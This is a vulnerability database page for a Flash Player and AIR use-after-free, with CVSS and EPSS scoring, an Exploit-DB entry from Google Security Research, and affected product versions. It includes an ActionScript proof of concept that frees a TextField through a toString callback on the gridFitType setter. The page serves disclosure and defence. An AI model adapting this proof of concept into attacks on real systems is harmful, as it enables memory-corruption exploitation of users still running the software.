Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 39020
Publication date : 2015-12-16
23h00 +00:00
Author : Google Security Research
EDB Verified : Yes
Source: https://code.google.com/p/google-security-research/issues/detail?id=559
There is a use-after-free in the TextField gridFitType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed.
A PoC is as follows:
var toptf = this.createEmptyMovieClip("toptf", 1);
function func(){
toptf.removeMovieClip();
trace("here");
return "none";
}
var o = {toString : func};
var my_format:TextFormat = new TextFormat();
my_format.font = "Times-12";
var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100);
my_text1.text = "this.gridFitType = none";
my_text1.embedFonts = true;
my_text1.antiAliasType = "advanced";
my_text1.gridFitType = o;
my_text1.setTextFormat(my_format);
var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100);
my_text2.text = "this.gridFitType = advanced";
my_text2.embedFonts = true;
my_text2.antiAliasType = "advanced";
my_text2.gridFitType = "pixel";
my_text2.setTextFormat(my_format);
var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100);
my_text3.text = "this.gridFitType = subpixel";
my_text3.embedFonts = true;
my_text3.antiAliasType = "advanced";
my_text3.gridFitType = "subpixel";
my_text3.setTextFormat(my_format);
A sample swf and fla are attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39020.zip
Products Mentioned
Configuraton 0
Adobe>>Flash_player >> Version To (including) 18.0.0.255
Adobe>>Flash_player >> Version 19.0.0.185
Adobe>>Flash_player >> Version 19.0.0.207
Adobe>>Flash_player >> Version 19.0.0.226
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Air >> Version To (including) 19.0.0.190
Google>>Android >> Version *
Configuraton 0
Adobe>>Flash_player >> Version To (including) 11.2.202.540
Linux>>Linux_kernel >> Version -
Configuraton 0
Adobe>>Air >> Version To (including) 19.0.0.213
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Air_sdk >> Version To (including) 19.0.0.213
Adobe>>Air_sdk_\&_compiler >> Version To (including) 19.0.0.213
Apple>>Iphone_os >> Version *
Apple>>Mac_os_x >> Version -
Google>>Android >> Version *
Microsoft>>Windows >> Version -
References